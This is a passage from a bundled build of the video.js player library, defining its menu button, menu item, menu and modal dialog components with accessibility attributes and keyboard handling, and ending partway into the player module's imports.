  7155. _inherits(MenuButton, _ClickableComponent);
  7156. function MenuButton(player) {
  7157. var options = arguments.length <= 1 || arguments[1] === undefined ? {} : arguments[1];
  7158. _classCallCheck(this, MenuButton);
  7159. _ClickableComponent.call(this, player, options);
  7160. this.update();
  7161. this.enabled_ = true;
  7162. this.el_.setAttribute('aria-haspopup', 'true');
  7163. this.el_.setAttribute('role', 'menuitem');
  7164. this.on('keydown', this.handleSubmenuKeyPress);
  7165. }
  7166. /**
  7167. * Update menu
  7168. *
  7169. * @method update
  7170. */
  7171. MenuButton.prototype.update = function update() {
  7172. var menu = this.createMenu();
  7173. if (this.menu) {
  7174. this.removeChild(this.menu);
  7175. }
  7176. this.menu = menu;
  7177. this.addChild(menu);
  7178. /**
  7179. * Track the state of the menu button
  7180. *
  7181. * @type {Boolean}
  7182. * @private
  7183. */
  7184. this.buttonPressed_ = false;
  7185. this.el_.setAttribute('aria-expanded', 'false');
  7186. if (this.items && this.items.length === 0) {
  7187. this.hide();
  7188. } else if (this.items && this.items.length > 1) {
  7189. this.show();
  7190. }
  7191. };
  7192. /**
  7193. * Create menu
  7194. *
  7195. * @return {Menu} The constructed menu
  7196. * @method createMenu
  7197. */
  7198. MenuButton.prototype.createMenu = function createMenu() {
  7199. var menu = new _menuJs2['default'](this.player_);
  7200. // Add a title list item to the top
  7201. if (this.options_.title) {
  7202. var title = Dom.createEl('li', {
  7203. className: 'vjs-menu-title',
  7204. innerHTML: _utilsToTitleCaseJs2['default'](this.options_.title),
  7205. tabIndex: -1
  7206. });
  7207. menu.children_.unshift(title);
  7208. Dom.insertElFirst(title, menu.contentEl());
  7209. }
  7210. this.items = this['createItems']();
  7211. if (this.items) {
  7212. // Add menu items to the menu
  7213. for (var i = 0; i < this.items.length; i++) {
  7214. menu.addItem(this.items[i]);
  7215. }
  7216. }
  7217. return menu;
  7218. };
  7219. /**
  7220. * Create the list of menu items. Specific to each subclass.
  7221. *
  7222. * @method createItems
  7223. */
  7224. MenuButton.prototype.createItems = function createItems() {};
  7225. /**
  7226. * Create the component's DOM element
  7227. *
  7228. * @return {Element}
  7229. * @method createEl
  7230. */
  7231. MenuButton.prototype.createEl = function createEl() {
  7232. return _ClickableComponent.prototype.createEl.call(this, 'div', {
  7233. className: this.buildCSSClass()
  7234. });
  7235. };
  7236. /**
  7237. * Allow sub components to stack CSS class names
  7238. *
  7239. * @return {String} The constructed class name
  7240. * @method buildCSSClass
  7241. */
  7242. MenuButton.prototype.buildCSSClass = function buildCSSClass() {
  7243. var menuButtonClass = 'vjs-menu-button';
  7244. // If the inline option is passed, we want to use different styles altogether.
  7245. if (this.options_.inline === true) {
  7246. menuButtonClass += '-inline';
  7247. } else {
  7248. menuButtonClass += '-popup';
  7249. }
  7250. return 'vjs-menu-button ' + menuButtonClass + ' ' + _ClickableComponent.prototype.buildCSSClass.call(this);
  7251. };
  7252. /**
  7253. * When you click the button it adds focus, which
  7254. * will show the menu indefinitely.
  7255. * So we'll remove focus when the mouse leaves the button.
  7256. * Focus is needed for tab navigation.
  7257. * Allow sub components to stack CSS class names
  7258. *
  7259. * @method handleClick
  7260. */
  7261. MenuButton.prototype.handleClick = function handleClick() {
  7262. this.one(this.menu.contentEl(), 'mouseleave', Fn.bind(this, function (e) {
  7263. this.unpressButton();
  7264. this.el_.blur();
  7265. }));
  7266. if (this.buttonPressed_) {
  7267. this.unpressButton();
  7268. } else {
  7269. this.pressButton();
  7270. }
  7271. };
  7272. /**
  7273. * Handle key press on menu
  7274. *
  7275. * @param {Object} event Key press event
  7276. * @method handleKeyPress
  7277. */
  7278. MenuButton.prototype.handleKeyPress = function handleKeyPress(event) {
  7279. // Escape (27) key or Tab (9) key unpress the 'button'
  7280. if (event.which === 27 || event.which === 9) {
  7281. if (this.buttonPressed_) {
  7282. this.unpressButton();
  7283. }
  7284. // Don't preventDefault for Tab key - we still want to lose focus
  7285. if (event.which !== 9) {
  7286. event.preventDefault();
  7287. }
  7288. // Up (38) key or Down (40) key press the 'button'
  7289. } else if (event.which === 38 || event.which === 40) {
  7290. if (!this.buttonPressed_) {
  7291. this.pressButton();
  7292. event.preventDefault();
  7293. }
  7294. } else {
  7295. _ClickableComponent.prototype.handleKeyPress.call(this, event);
  7296. }
  7297. };
  7298. /**
  7299. * Handle key press on submenu
  7300. *
  7301. * @param {Object} event Key press event
  7302. * @method handleSubmenuKeyPress
  7303. */
  7304. MenuButton.prototype.handleSubmenuKeyPress = function handleSubmenuKeyPress(event) {
  7305. // Escape (27) key or Tab (9) key unpress the 'button'
  7306. if (event.which === 27 || event.which === 9) {
  7307. if (this.buttonPressed_) {
  7308. this.unpressButton();
  7309. }
  7310. // Don't preventDefault for Tab key - we still want to lose focus
  7311. if (event.which !== 9) {
  7312. event.preventDefault();
  7313. }
  7314. }
  7315. };
  7316. /**
  7317. * Makes changes based on button pressed
  7318. *
  7319. * @method pressButton
  7320. */
  7321. MenuButton.prototype.pressButton = function pressButton() {
  7322. if (this.enabled_) {
  7323. this.buttonPressed_ = true;
  7324. this.menu.lockShowing();
  7325. this.el_.setAttribute('aria-expanded', 'true');
  7326. this.menu.focus(); // set the focus into the submenu
  7327. }
  7328. };
  7329. /**
  7330. * Makes changes based on button unpressed
  7331. *
  7332. * @method unpressButton
  7333. */
  7334. MenuButton.prototype.unpressButton = function unpressButton() {
  7335. if (this.enabled_) {
  7336. this.buttonPressed_ = false;
  7337. this.menu.unlockShowing();
  7338. this.el_.setAttribute('aria-expanded', 'false');
  7339. this.el_.focus(); // Set focus back to this menu button
  7340. }
  7341. };
  7342. /**
  7343. * Disable the menu button
  7344. *
  7345. * @return {Component}
  7346. * @method disable
  7347. */
  7348. MenuButton.prototype.disable = function disable() {
  7349. // Unpress, but don't force focus on this button
  7350. this.buttonPressed_ = false;
  7351. this.menu.unlockShowing();
  7352. this.el_.setAttribute('aria-expanded', 'false');
  7353. this.enabled_ = false;
  7354. return _ClickableComponent.prototype.disable.call(this);
  7355. };
  7356. /**
  7357. * Enable the menu button
  7358. *
  7359. * @return {Component}
  7360. * @method disable
  7361. */
  7362. MenuButton.prototype.enable = function enable() {
  7363. this.enabled_ = true;
  7364. return _ClickableComponent.prototype.enable.call(this);
  7365. };
  7366. return MenuButton;
  7367. })(_clickableComponentJs2['default']);
  7368. _componentJs2['default'].registerComponent('MenuButton', MenuButton);
  7369. exports['default'] = MenuButton;
  7370. module.exports = exports['default'];
  7371. },{"../clickable-component.js":65,"../component.js":67,"../utils/dom.js":142,"../utils/fn.js":144,"../utils/to-title-case.js":151,"./menu.js":111}],110:[function(_dereq_,module,exports){
  7372. /**
  7373. * @file menu-item.js
  7374. */
  7375. 'use strict';
  7376. exports.__esModule = true;
  7377. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  7378. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  7379. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  7380. var _clickableComponentJs = _dereq_('../clickable-component.js');
  7381. var _clickableComponentJs2 = _interopRequireDefault(_clickableComponentJs);
  7382. var _componentJs = _dereq_('../component.js');
  7383. var _componentJs2 = _interopRequireDefault(_componentJs);
  7384. var _objectAssign = _dereq_('object.assign');
  7385. var _objectAssign2 = _interopRequireDefault(_objectAssign);
  7386. /**
  7387. * The component for a menu item. `<li>`
  7388. *
  7389. * @param {Player|Object} player
  7390. * @param {Object=} options
  7391. * @extends Button
  7392. * @class MenuItem
  7393. */
  7394. var MenuItem = (function (_ClickableComponent) {
  7395. _inherits(MenuItem, _ClickableComponent);
  7396. function MenuItem(player, options) {
  7397. _classCallCheck(this, MenuItem);
  7398. _ClickableComponent.call(this, player, options);
  7399. this.selectable = options['selectable'];
  7400. this.selected(options['selected']);
  7401. if (this.selectable) {
  7402. // TODO: May need to be either menuitemcheckbox or menuitemradio,
  7403. // and may need logical grouping of menu items.
  7404. this.el_.setAttribute('role', 'menuitemcheckbox');
  7405. } else {
  7406. this.el_.setAttribute('role', 'menuitem');
  7407. }
  7408. }
  7409. /**
  7410. * Create the component's DOM element
  7411. *
  7412. * @param {String=} type Desc
  7413. * @param {Object=} props Desc
  7414. * @return {Element}
  7415. * @method createEl
  7416. */
  7417. MenuItem.prototype.createEl = function createEl(type, props, attrs) {
  7418. return _ClickableComponent.prototype.createEl.call(this, 'li', _objectAssign2['default']({
  7419. className: 'vjs-menu-item',
  7420. innerHTML: this.localize(this.options_['label']),
  7421. tabIndex: -1
  7422. }, props), attrs);
  7423. };
  7424. /**
  7425. * Handle a click on the menu item, and set it to selected
  7426. *
  7427. * @method handleClick
  7428. */
  7429. MenuItem.prototype.handleClick = function handleClick() {
  7430. this.selected(true);
  7431. };
  7432. /**
  7433. * Set this menu item as selected or not
  7434. *
  7435. * @param {Boolean} selected
  7436. * @method selected
  7437. */
  7438. MenuItem.prototype.selected = function selected(_selected) {
  7439. if (this.selectable) {
  7440. if (_selected) {
  7441. this.addClass('vjs-selected');
  7442. this.el_.setAttribute('aria-checked', 'true');
  7443. // aria-checked isn't fully supported by browsers/screen readers,
  7444. // so indicate selected state to screen reader in the control text.
  7445. this.controlText(', selected');
  7446. } else {
  7447. this.removeClass('vjs-selected');
  7448. this.el_.setAttribute('aria-checked', 'false');
  7449. // Indicate un-selected state to screen reader
  7450. // Note that a space clears out the selected state text
  7451. this.controlText(' ');
  7452. }
  7453. }
  7454. };
  7455. return MenuItem;
  7456. })(_clickableComponentJs2['default']);
  7457. _componentJs2['default'].registerComponent('MenuItem', MenuItem);
  7458. exports['default'] = MenuItem;
  7459. module.exports = exports['default'];
  7460. },{"../clickable-component.js":65,"../component.js":67,"object.assign":45}],111:[function(_dereq_,module,exports){
  7461. /**
  7462. * @file menu.js
  7463. */
  7464. 'use strict';
  7465. exports.__esModule = true;
  7466. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  7467. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  7468. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  7469. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  7470. var _componentJs = _dereq_('../component.js');
  7471. var _componentJs2 = _interopRequireDefault(_componentJs);
  7472. var _utilsDomJs = _dereq_('../utils/dom.js');
  7473. var Dom = _interopRequireWildcard(_utilsDomJs);
  7474. var _utilsFnJs = _dereq_('../utils/fn.js');
  7475. var Fn = _interopRequireWildcard(_utilsFnJs);
  7476. var _utilsEventsJs = _dereq_('../utils/events.js');
  7477. var Events = _interopRequireWildcard(_utilsEventsJs);
  7478. /**
  7479. * The Menu component is used to build pop up menus, including subtitle and
  7480. * captions selection menus.
  7481. *
  7482. * @extends Component
  7483. * @class Menu
  7484. */
  7485. var Menu = (function (_Component) {
  7486. _inherits(Menu, _Component);
  7487. function Menu(player, options) {
  7488. _classCallCheck(this, Menu);
  7489. _Component.call(this, player, options);
  7490. this.focusedChild_ = -1;
  7491. this.on('keydown', this.handleKeyPress);
  7492. }
  7493. /**
  7494. * Add a menu item to the menu
  7495. *
  7496. * @param {Object|String} component Component or component type to add
  7497. * @method addItem
  7498. */
  7499. Menu.prototype.addItem = function addItem(component) {
  7500. this.addChild(component);
  7501. component.on('click', Fn.bind(this, function () {
  7502. this.unlockShowing();
  7503. //TODO: Need to set keyboard focus back to the menuButton
  7504. }));
  7505. };
  7506. /**
  7507. * Create the component's DOM element
  7508. *
  7509. * @return {Element}
  7510. * @method createEl
  7511. */
  7512. Menu.prototype.createEl = function createEl() {
  7513. var contentElType = this.options_.contentElType || 'ul';
  7514. this.contentEl_ = Dom.createEl(contentElType, {
  7515. className: 'vjs-menu-content'
  7516. });
  7517. this.contentEl_.setAttribute('role', 'menu');
  7518. var el = _Component.prototype.createEl.call(this, 'div', {
  7519. append: this.contentEl_,
  7520. className: 'vjs-menu'
  7521. });
  7522. el.setAttribute('role', 'presentation');
  7523. el.appendChild(this.contentEl_);
  7524. // Prevent clicks from bubbling up. Needed for Menu Buttons,
  7525. // where a click on the parent is significant
  7526. Events.on(el, 'click', function (event) {
  7527. event.preventDefault();
  7528. event.stopImmediatePropagation();
  7529. });
  7530. return el;
  7531. };
  7532. /**
  7533. * Handle key press for menu
  7534. *
  7535. * @param {Object} event Event object
  7536. * @method handleKeyPress
  7537. */
  7538. Menu.prototype.handleKeyPress = function handleKeyPress(event) {
  7539. if (event.which === 37 || event.which === 40) {
  7540. // Left and Down Arrows
  7541. event.preventDefault();
  7542. this.stepForward();
  7543. } else if (event.which === 38 || event.which === 39) {
  7544. // Up and Right Arrows
  7545. event.preventDefault();
  7546. this.stepBack();
  7547. }
  7548. };
  7549. /**
  7550. * Move to next (lower) menu item for keyboard users
  7551. *
  7552. * @method stepForward
  7553. */
  7554. Menu.prototype.stepForward = function stepForward() {
  7555. var stepChild = 0;
  7556. if (this.focusedChild_ !== undefined) {
  7557. stepChild = this.focusedChild_ + 1;
  7558. }
  7559. this.focus(stepChild);
  7560. };
  7561. /**
  7562. * Move to previous (higher) menu item for keyboard users
  7563. *
  7564. * @method stepBack
  7565. */
  7566. Menu.prototype.stepBack = function stepBack() {
  7567. var stepChild = 0;
  7568. if (this.focusedChild_ !== undefined) {
  7569. stepChild = this.focusedChild_ - 1;
  7570. }
  7571. this.focus(stepChild);
  7572. };
  7573. /**
  7574. * Set focus on a menu item in the menu
  7575. *
  7576. * @param {Object|String} item Index of child item set focus on
  7577. * @method focus
  7578. */
  7579. Menu.prototype.focus = function focus() {
  7580. var item = arguments.length <= 0 || arguments[0] === undefined ? 0 : arguments[0];
  7581. var children = this.children().slice();
  7582. var haveTitle = children.length && children[0].className && /vjs-menu-title/.test(children[0].className);
  7583. if (haveTitle) {
  7584. children.shift();
  7585. }
  7586. if (children.length > 0) {
  7587. if (item < 0) {
  7588. item = 0;
  7589. } else if (item >= children.length) {
  7590. item = children.length - 1;
  7591. }
  7592. this.focusedChild_ = item;
  7593. children[item].el_.focus();
  7594. }
  7595. };
  7596. return Menu;
  7597. })(_componentJs2['default']);
  7598. _componentJs2['default'].registerComponent('Menu', Menu);
  7599. exports['default'] = Menu;
  7600. module.exports = exports['default'];
  7601. },{"../component.js":67,"../utils/dom.js":142,"../utils/events.js":143,"../utils/fn.js":144}],112:[function(_dereq_,module,exports){
  7602. /**
  7603. * @file modal-dialog.js
  7604. */
  7605. 'use strict';
  7606. exports.__esModule = true;
  7607. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  7608. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  7609. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  7610. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  7611. var _utilsDom = _dereq_('./utils/dom');
  7612. var Dom = _interopRequireWildcard(_utilsDom);
  7613. var _utilsFn = _dereq_('./utils/fn');
  7614. var Fn = _interopRequireWildcard(_utilsFn);
  7615. var _utilsLog = _dereq_('./utils/log');
  7616. var _utilsLog2 = _interopRequireDefault(_utilsLog);
  7617. var _component = _dereq_('./component');
  7618. var _component2 = _interopRequireDefault(_component);
  7619. var _closeButton = _dereq_('./close-button');
  7620. var _closeButton2 = _interopRequireDefault(_closeButton);
  7621. var MODAL_CLASS_NAME = 'vjs-modal-dialog';
  7622. var ESC = 27;
  7623. /**
  7624. * The `ModalDialog` displays over the video and its controls, which blocks
  7625. * interaction with the player until it is closed.
  7626. *
  7627. * Modal dialogs include a "Close" button and will close when that button
  7628. * is activated - or when ESC is pressed anywhere.
  7629. *
  7630. * @extends Component
  7631. * @class ModalDialog
  7632. */
  7633. var ModalDialog = (function (_Component) {
  7634. _inherits(ModalDialog, _Component);
  7635. /**
  7636. * Constructor for modals.
  7637. *
  7638. * @param {Player} player
  7639. * @param {Object} [options]
  7640. * @param {Mixed} [options.content=undefined]
  7641. * Provide customized content for this modal.
  7642. *
  7643. * @param {String} [options.description]
  7644. * A text description for the modal, primarily for accessibility.
  7645. *
  7646. * @param {Boolean} [options.fillAlways=false]
  7647. * Normally, modals are automatically filled only the first time
  7648. * they open. This tells the modal to refresh its content
  7649. * every time it opens.
  7650. *
  7651. * @param {String} [options.label]
  7652. * A text label for the modal, primarily for accessibility.
  7653. *
  7654. * @param {Boolean} [options.temporary=true]
  7655. * If `true`, the modal can only be opened once; it will be
  7656. * disposed as soon as it's closed.
  7657. *
  7658. * @param {Boolean} [options.uncloseable=false]
  7659. * If `true`, the user will not be able to close the modal
  7660. * through the UI in the normal ways. Programmatic closing is
  7661. * still possible.
  7662. *
  7663. */
  7664. function ModalDialog(player, options) {
  7665. _classCallCheck(this, ModalDialog);
  7666. _Component.call(this, player, options);
  7667. this.opened_ = this.hasBeenOpened_ = this.hasBeenFilled_ = false;
  7668. this.closeable(!this.options_.uncloseable);
  7669. this.content(this.options_.content);
  7670. // Make sure the contentEl is defined AFTER any children are initialized
  7671. // because we only want the contents of the modal in the contentEl
  7672. // (not the UI elements like the close button).
  7673. this.contentEl_ = Dom.createEl('div', {
  7674. className: MODAL_CLASS_NAME + '-content'
  7675. }, {
  7676. role: 'document'
  7677. });
  7678. this.descEl_ = Dom.createEl('p', {
  7679. className: MODAL_CLASS_NAME + '-description vjs-offscreen',
  7680. id: this.el().getAttribute('aria-describedby')
  7681. });
  7682. Dom.textContent(this.descEl_, this.description());
  7683. this.el_.appendChild(this.descEl_);
  7684. this.el_.appendChild(this.contentEl_);
  7685. }
  7686. /*
  7687. * Modal dialog default options.
  7688. *
  7689. * @type {Object}
  7690. * @private
  7691. */
  7692. /**
  7693. * Create the modal's DOM element
  7694. *
  7695. * @method createEl
  7696. * @return {Element}
  7697. */
  7698. ModalDialog.prototype.createEl = function createEl() {
  7699. return _Component.prototype.createEl.call(this, 'div', {
  7700. className: this.buildCSSClass(),
  7701. tabIndex: -1
  7702. }, {
  7703. 'aria-describedby': this.id() + '_description',
  7704. 'aria-hidden': 'true',
  7705. 'aria-label': this.label(),
  7706. role: 'dialog'
  7707. });
  7708. };
  7709. /**
  7710. * Build the modal's CSS class.
  7711. *
  7712. * @method buildCSSClass
  7713. * @return {String}
  7714. */
  7715. ModalDialog.prototype.buildCSSClass = function buildCSSClass() {
  7716. return MODAL_CLASS_NAME + ' vjs-hidden ' + _Component.prototype.buildCSSClass.call(this);
  7717. };
  7718. /**
  7719. * Handles key presses on the document, looking for ESC, which closes
  7720. * the modal.
  7721. *
  7722. * @method handleKeyPress
  7723. * @param {Event} e
  7724. */
  7725. ModalDialog.prototype.handleKeyPress = function handleKeyPress(e) {
  7726. if (e.which === ESC && this.closeable()) {
  7727. this.close();
  7728. }
  7729. };
  7730. /**
  7731. * Returns the label string for this modal. Primarily used for accessibility.
  7732. *
  7733. * @return {String}
  7734. */
  7735. ModalDialog.prototype.label = function label() {
  7736. return this.options_.label || this.localize('Modal Window');
  7737. };
  7738. /**
  7739. * Returns the description string for this modal. Primarily used for
  7740. * accessibility.
  7741. *
  7742. * @return {String}
  7743. */
  7744. ModalDialog.prototype.description = function description() {
  7745. var desc = this.options_.description || this.localize('This is a modal window.');
  7746. // Append a universal closeability message if the modal is closeable.
  7747. if (this.closeable()) {
  7748. desc += ' ' + this.localize('This modal can be closed by pressing the Escape key or activating the close button.');
  7749. }
  7750. return desc;
  7751. };
  7752. /**
  7753. * Opens the modal.
  7754. *
  7755. * @method open
  7756. * @return {ModalDialog}
  7757. */
  7758. ModalDialog.prototype.open = function open() {
  7759. if (!this.opened_) {
  7760. var player = this.player();
  7761. this.trigger('beforemodalopen');
  7762. this.opened_ = true;
  7763. // Fill content if the modal has never opened before and
  7764. // never been filled.
  7765. if (this.options_.fillAlways || !this.hasBeenOpened_ && !this.hasBeenFilled_) {
  7766. this.fill();
  7767. }
  7768. // If the player was playing, pause it and take note of its previously
  7769. // playing state.
  7770. this.wasPlaying_ = !player.paused();
  7771. if (this.wasPlaying_) {
  7772. player.pause();
  7773. }
  7774. if (this.closeable()) {
  7775. this.on(this.el_.ownerDocument, 'keydown', Fn.bind(this, this.handleKeyPress));
  7776. }
  7777. player.controls(false);
  7778. this.show();
  7779. this.el().setAttribute('aria-hidden', 'false');
  7780. this.trigger('modalopen');
  7781. this.hasBeenOpened_ = true;
  7782. }
  7783. return this;
  7784. };
  7785. /**
  7786. * Whether or not the modal is opened currently.
  7787. *
  7788. * @method opened
  7789. * @param {Boolean} [value]
  7790. * If given, it will open (`true`) or close (`false`) the modal.
  7791. *
  7792. * @return {Boolean}
  7793. */
  7794. ModalDialog.prototype.opened = function opened(value) {
  7795. if (typeof value === 'boolean') {
  7796. this[value ? 'open' : 'close']();
  7797. }
  7798. return this.opened_;
  7799. };
  7800. /**
  7801. * Closes the modal.
  7802. *
  7803. * @method close
  7804. * @return {ModalDialog}
  7805. */
  7806. ModalDialog.prototype.close = function close() {
  7807. if (this.opened_) {
  7808. var player = this.player();
  7809. this.trigger('beforemodalclose');
  7810. this.opened_ = false;
  7811. if (this.wasPlaying_) {
  7812. player.play();
  7813. }
  7814. if (this.closeable()) {
  7815. this.off(this.el_.ownerDocument, 'keydown', Fn.bind(this, this.handleKeyPress));
  7816. }
  7817. player.controls(true);
  7818. this.hide();
  7819. this.el().setAttribute('aria-hidden', 'true');
  7820. this.trigger('modalclose');
  7821. if (this.options_.temporary) {
  7822. this.dispose();
  7823. }
  7824. }
  7825. return this;
  7826. };
  7827. /**
  7828. * Whether or not the modal is closeable via the UI.
  7829. *
  7830. * @method closeable
  7831. * @param {Boolean} [value]
  7832. * If given as a Boolean, it will set the `closeable` option.
  7833. *
  7834. * @return {Boolean}
  7835. */
  7836. ModalDialog.prototype.closeable = function closeable(value) {
  7837. if (typeof value === 'boolean') {
  7838. var closeable = this.closeable_ = !!value;
  7839. var _close = this.getChild('closeButton');
  7840. // If this is being made closeable and has no close button, add one.
  7841. if (closeable && !_close) {
  7842. // The close button should be a child of the modal - not its
  7843. // content element, so temporarily change the content element.
  7844. var temp = this.contentEl_;
  7845. this.contentEl_ = this.el_;
  7846. _close = this.addChild('closeButton', { controlText: 'Close Modal Dialog' });
  7847. this.contentEl_ = temp;
  7848. this.on(_close, 'close', this.close);
  7849. }
  7850. // If this is being made uncloseable and has a close button, remove it.
  7851. if (!closeable && _close) {
  7852. this.off(_close, 'close', this.close);
  7853. this.removeChild(_close);
  7854. _close.dispose();
  7855. }
  7856. }
  7857. return this.closeable_;
  7858. };
  7859. /**
  7860. * Fill the modal's content element with the modal's "content" option.
  7861. *
  7862. * The content element will be emptied before this change takes place.
  7863. *
  7864. * @method fill
  7865. * @return {ModalDialog}
  7866. */
  7867. ModalDialog.prototype.fill = function fill() {
  7868. return this.fillWith(this.content());
  7869. };
  7870. /**
  7871. * Fill the modal's content element with arbitrary content.
  7872. *
  7873. * The content element will be emptied before this change takes place.
  7874. *
  7875. * @method fillWith
  7876. * @param {Mixed} [content]
  7877. * The same rules apply to this as apply to the `content` option.
  7878. *
  7879. * @return {ModalDialog}
  7880. */
  7881. ModalDialog.prototype.fillWith = function fillWith(content) {
  7882. var contentEl = this.contentEl();
  7883. var parentEl = contentEl.parentNode;
  7884. var nextSiblingEl = contentEl.nextSibling;
  7885. this.trigger('beforemodalfill');
  7886. this.hasBeenFilled_ = true;
  7887. // Detach the content element from the DOM before performing
  7888. // manipulation to avoid modifying the live DOM multiple times.
  7889. parentEl.removeChild(contentEl);
  7890. this.empty();
  7891. Dom.insertContent(contentEl, content);
  7892. this.trigger('modalfill');
  7893. // Re-inject the re-filled content element.
  7894. if (nextSiblingEl) {
  7895. parentEl.insertBefore(contentEl, nextSiblingEl);
  7896. } else {
  7897. parentEl.appendChild(contentEl);
  7898. }
  7899. return this;
  7900. };
  7901. /**
  7902. * Empties the content element.
  7903. *
  7904. * This happens automatically anytime the modal is filled.
  7905. *
  7906. * @method empty
  7907. * @return {ModalDialog}
  7908. */
  7909. ModalDialog.prototype.empty = function empty() {
  7910. this.trigger('beforemodalempty');
  7911. Dom.emptyEl(this.contentEl());
  7912. this.trigger('modalempty');
  7913. return this;
  7914. };
  7915. /**
  7916. * Gets or sets the modal content, which gets normalized before being
  7917. * rendered into the DOM.
  7918. *
  7919. * This does not update the DOM or fill the modal, but it is called during
  7920. * that process.
  7921. *
  7922. * @method content
  7923. * @param {Mixed} [value]
  7924. * If defined, sets the internal content value to be used on the
  7925. * next call(s) to `fill`. This value is normalized before being
  7926. * inserted. To "clear" the internal content value, pass `null`.
  7927. *
  7928. * @return {Mixed}
  7929. */
  7930. ModalDialog.prototype.content = function content(value) {
  7931. if (typeof value !== 'undefined') {
  7932. this.content_ = value;
  7933. }
  7934. return this.content_;
  7935. };
  7936. return ModalDialog;
  7937. })(_component2['default']);
  7938. ModalDialog.prototype.options_ = {
  7939. temporary: true
  7940. };
  7941. _component2['default'].registerComponent('ModalDialog', ModalDialog);
  7942. exports['default'] = ModalDialog;
  7943. module.exports = exports['default'];
  7944. },{"./close-button":66,"./component":67,"./utils/dom":142,"./utils/fn":144,"./utils/log":147}],113:[function(_dereq_,module,exports){
  7945. /**
  7946. * @file player.js
  7947. */
  7948. // Subclasses Component
  7949. 'use strict';
  7950. exports.__esModule = true;
  7951. function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for (var key in obj) { if (Object.prototype.hasOwnProperty.call(obj, key)) newObj[key] = obj[key]; } } newObj['default'] = obj; return newObj; } }
  7952. function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { 'default': obj }; }
  7953. function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError('Cannot call a class as a function'); } }
  7954. function _inherits(subClass, superClass) { if (typeof superClass !== 'function' && superClass !== null) { throw new TypeError('Super expression must either be null or a function, not ' + typeof superClass); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, enumerable: false, writable: true, configurable: true } }); if (superClass) Object.setPrototypeOf ? Object.setPrototypeOf(subClass, superClass) : subClass.__proto__ = superClass; }
  7955. var _componentJs = _dereq_('./component.js');
  7956. var _componentJs2 = _interopRequireDefault(_componentJs);
  7957. var _globalDocument = _dereq_('global/document');
  7958. var _globalDocument2 = _interopRequireDefault(_globalDocument);
  7959. var _globalWindow = _dereq_('global/window');
  7960. var _globalWindow2 = _interopRequireDefault(_globalWindow);
  7961. var _utilsEventsJs = _dereq_('./utils/events.js');
  7962. var Events = _interopRequireWildcard(_utilsEventsJs);
  7963. var _utilsDomJs = _dereq_('./utils/dom.js');
  7964. var Dom = _interopRequireWildcard(_utilsDomJs);
  7965. var _utilsFnJs = _dereq_('./utils/fn.js');
  7966. var Fn = _interopRequireWildcard(_utilsFnJs);
  7967. var _utilsGuidJs = _dereq_('./utils/guid.js');
  7968. var Guid = _interopRequireWildcard(_utilsGuidJs);
  7969. var _utilsBrowserJs = _dereq_('./utils/browser.js');
  7970. var browser = _interopRequireWildcard(_utilsBrowserJs);
  7971. var _utilsLogJs = _dereq_('./utils/log.js');
  7972. var _utilsLogJs2 = _interopRequireDefault(_utilsLogJs);
  7973. var _utilsToTitleCaseJs = _dereq_('./utils/to-title-case.js');
  7974. var _utilsToTitleCaseJs2 = _interopRequireDefault(_utilsToTitleCaseJs);
  7975. var _utilsTimeRangesJs = _dereq_('./utils/time-ranges.js');
  7976. var _utilsBufferJs = _dereq_('./utils/buffer.js');
  7977. var _utilsStylesheetJs = _dereq_('./utils/stylesheet.js');
  7978. var stylesheet = _interopRequireWildcard(_utilsStylesheetJs);
  7979. var _fullscreenApiJs = _dereq_('./fullscreen-api.js');
  7980. var _fullscreenApiJs2 = _interopRequireDefault(_fullscreenApiJs);
  7981. var _mediaErrorJs = _dereq_('./media-error.js');
  7982. var _mediaErrorJs2 = _interopRequireDefault(_mediaErrorJs);
  7983. var _safeJsonParseTuple = _dereq_('safe-json-parse/tuple');
  7984. var _safeJsonParseTuple2 = _interopRequireDefault(_safeJsonParseTuple);
  7985. var _objectAssign = _dereq_('object.assign');
  7986. var _objectAssign2 = _interopRequireDefault(_objectAssign);
  7987. var _utilsMergeOptionsJs = _dereq_('./utils/merge-options.js');
  7988. var _utilsMergeOptionsJs2 = _interopRequireDefault(_utilsMergeOptionsJs);
  7989. var _tracksTextTrackListConverterJs = _dereq_('./tracks/text-track-list-converter.js');
